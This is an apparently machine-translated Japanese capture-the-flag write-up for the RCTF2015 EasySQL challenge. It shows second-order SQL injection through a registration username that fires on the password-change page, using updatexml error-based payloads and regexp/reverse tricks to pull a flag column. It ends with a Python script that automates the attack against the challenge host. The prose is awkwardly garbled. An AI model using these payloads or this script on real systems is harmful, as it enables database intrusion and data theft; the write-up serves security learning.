[RCTF2015] EasySQLは、質問のメモを行います

【RCTF2015] EasySQL

  • EasySQL githubの

  • ドローンを開き、次のようにインターフェースがあります

  • 登録ページに、私はそれを試してみました、usernameそしてemail直接文字が禁止されているかについてファジングフィルタを配置します

  • 登録が成功した後、パスワードを変更する機能があり、ここではテストセンターでは、二次注入する必要があります

  • これは、データベースに格納されたときに特殊文字を扱うませんが、あなたはここにコードを変更すると、データベースから読み出し、データ処理されています

  • 登録したユーザー名'sss"\エコーであっパスワード変更エラーで

  • このように類似しているはずのSQL文を推測することができます select * from user where username="'sss"\" and password='d41d8cd98f00b204e9800998ecf8427e'

  • username=peri0d"||(updatexml(1,concat(0x3a,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1))#

  • 試験後、フラグないフラグテーブルに

  • username=peri0d"||(updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))),1))#

  • これは、出力が長さの制限を持っていることがわかりました

  • username=peri0d"||(updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')&&(column_name)regexp('^r'))),1))#

  • username=peri0d"||(updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1))#

  • ここでは、ために優れている、恥ずかしいですreverse出力を反転します

  • username=peri0d"||(updatexml(1,concat(0x3a,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('f'))),1))#

  • このタイトルのプロセス全体を代表して、スクリプトを入れて、だけでなく、私の愚かを記録

    import requests
    
    url_reg = 'http://7e4dcf86-135f-4bad-98e0-1b7ad8318aad.node2.buuoj.cn.wetolink.com:82/register.php'
    url_log = 'http://7e4dcf86-135f-4bad-98e0-1b7ad8318aad.node2.buuoj.cn.wetolink.com:82/login.php'
    url_change = 'http://7e4dcf86-135f-4bad-98e0-1b7ad8318aad.node2.buuoj.cn.wetolink.com:82/changepwd.php'
    
    pre = 'peri0d"'
    suf = "'))),1))#"
    
    s = 'abcdefghijklmnopqrstuvwxyz1234567890'
    s = list(s)
    
    r = requests.session()
    
    def register(name):
      data = {
          'username' : name,
          'password' : '123',
          'email' : '123',
      }
      r.post(url=url_reg, data=data)
    
    def login(name):
      data = {
          'username' : name,
          'password' : '123',
      }
      r.post(url=url_log, data=data)
    
    def changepwd():
      data = {
          'oldpass' : '',
          'newpass' : '',
      }
      kk = r.post(url=url_change, data=data)
      if 'target' not in kk.text:
          print(kk.text)
    
    for i in s:
      paylaod = pre + "||(updatexml(1,concat((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('" + i + suf
      register(paylaod)
      login(paylaod)
      changepwd()

おすすめ

転載: www.cnblogs.com/peri0d/p/11599643.html